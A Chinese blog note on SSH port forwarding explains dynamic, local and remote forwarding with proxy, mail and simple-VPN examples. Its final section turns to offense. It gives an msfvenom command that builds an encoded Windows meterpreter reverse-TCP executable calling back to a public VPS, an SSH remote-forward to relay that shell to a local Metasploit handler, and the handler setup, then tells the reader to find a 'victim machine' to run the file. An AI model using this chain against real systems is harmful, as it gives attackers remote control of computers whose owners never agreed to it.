SSH端口转发笔记
文章最后更新时间为:2019年05月29日 23:13:33
有时需要使用vpn,或者将本地msf转发到公网,都需要用到SSH端口转发,这里记一下方便用的时候翻。
关于端口转发的教程,这里参照了阮一峰老师的文章,最后总结一下在实例中的用法。
1. 用法
ssh 作为数据通信的加密跳板,有多种使用场景。ssh 本身支持三种用法。
1.1 动态转发
第一种场景是,访问所有外部网站,都要通过 ssh 中介。
这时就要把本地端口绑定到 ssh 跳板机。至于 ssh 跳板机要去访问哪一个网站,完全是动态的,所以叫做动态转发。
$ ssh -N -D local-port tunnel-host
上面命令中,-D表示动态转发,-N表示只进行端口转发,local-port是本地端口,tunnel-host是 ssh 跳板机,,不登录远程 Shell。
举例来说,如果本地端口是2121,远程地址为159.65.73.124, 那么实际命令就是下面这样。
$ ssh -N -D 2121 [email protected]
注意,这种转发采用了 SOCKS5 协议。访问外部网站时,需要把 HTTP 请求转成 SOCKS5 协议,才能把本地端口的请求转发出去。
下面是 ssh 隧道建立后的一个使用实例。
$ curl -x socks5://localhost:2121 http://www.example.com
上面命令中,curl 的-x参数指定代理服务器,即通过 SOCKS5 协议的本地2121端口,访问http://www.example.com。
比如在这里我直接使用vps动态转发实现代理功能:
ubuntu@ubuntu:~$ ssh -N -D 2121 [email protected]
[email protected]'s password:
然后打开火狐配置代理为socks5:localhost:2121
1.2 本地转发
第二种场景是,只针对特定网站打开 ssh 隧道。这叫做“本地转发”。
$ ssh -N -L local-port:target-host:target-port tunnel-host
上面命令中,-L参数表示本地转发,local-port是本地端口,target-host是你想要访问的目标服务器,target-port是目标服务器的端口,tunnel-host是 ssh 跳板机。
举例来说,在本地2121端口建立 ssh 隧道,访问www.example.com,可以写成下面这样。
$ ssh -N -L 2121:www.example.com:80 tunnel-host
然后,访问本机的2121端口,就是访问www.example.com。
$ curl http://localhost:2121
注意,本地端口转发采用 HTTP 协议,不用转成 SOCKS5 协议。
1.3 远程转发
第三种场景比较特殊,主要针对内网的情况。本地计算机在外网,ssh 跳板机和目标服务器都在内网,而且本地计算机无法访问内网之中的跳板机,但是跳板机可以访问本机计算机。
由于本机无法访问跳板机,就无法从外网发起隧道,必须反过来,从跳板机发起隧道,这时就会用到远程端口转发。
$ ssh -R local-port:target-host:target-port local
上面的命令,首先需要注意,不是在本机执行的,而是在 ssh 跳板机执行的,从跳板机去连接本地计算机。-R参数表示远程端口转发,local-port是本地计算机的端口,target-host和target-port是目标服务器及其端口。
比如,跳板机执行下面的命令,绑定本地计算机的2121端口,去访问www.example.com:80。
$ ssh -N -R 2121:www.example.com:80 local
执行上面的命令以后,跳板机到本地计算机的隧道已经建立了。然后,就可以从本机访问目标服务器了,即在本机执行下面的命令。
$ curl http://localhost:2121
这种端口转发会远程绑定另一台机器的端口,所以叫做“远程端口转发”,也是采用 HTTP 协议。
2. 实例
上面介绍了 ssh 端口转发的三种用法,下面就来看几个具体的实例。
2.1 email加密传输
公共场合的 WiFi,如果使用非加密的通信,是非常不安全的。假定我们在咖啡馆里面,需要从邮件服务器明文下载邮件,怎么办?一种解决方法就是,采用本地端口转发,在本地电脑与邮件服务器之间,建立 ssh 隧道。
$ ssh -L -N 2121:mail-server:143 tunnel-host
上面命令指定本地2121端口绑定 ssh 跳板机tunnel-host,跳板机连向邮件服务器的143端口。这样下载邮件,本地到 ssh 跳板机这一段,是完全加密的。当然,跳板机到邮件服务器的这一段,依然是明文的。
2.2 简易VPN
VPN 用来在外网与内网之间建立一条加密通道。内网的服务器不能从外网直接访问,必须通过一个跳板机,如果本机可以访问跳板机,就可以使用 ssh 动态转发,简单实现一个 VPN。
$ ssh -N -D 2121 [email protected]
上面命令通过 ssh 跳板机,将本机的2121端口转发到159.65.73.124,这时候159.65.73.124就相当于代理了。
2.3 将本地msf传到公网上
这也是我写这篇的原因了。
我们需要有一台公网服务器,并且采用远程端口转发,将公网服务器的某个端口转发到本地的某个端口,这样公网端口也就相当于本地端口了。
这里我演示的环境为:
- 内网 ubuntu(带有msf) 192.168.2.84
- 公网vps 159.65.73.124
首先我们配置一下vps的ssh,编辑 /etc/ssh/sshd_config
,在文件最后添加:
GatewayPorts yes
接着我们在ubuntu上生成一个windows上的反向shell,反弹到vps的5555端口
msfvenom -p windows/meterpreter/reverse_tcp lhost=159.65.73.124 lport=5555 -e cmd/powershell_base64 -f exe > test.exe
然后在本地ubuntu开启远程端口转发,将vps 5555端口接收到的流量都转发到本地ubuntu上的4444端口来:
ssh -N -R 5555:192.168.2.84:4444 [email protected]
然后ubuntu本地开启msf,监听一下
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.2.84
lhost => 192.168.2.84
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.2.84:4444
然后找个受害机,执行一下msf生成的test.exe:
成功返回会话。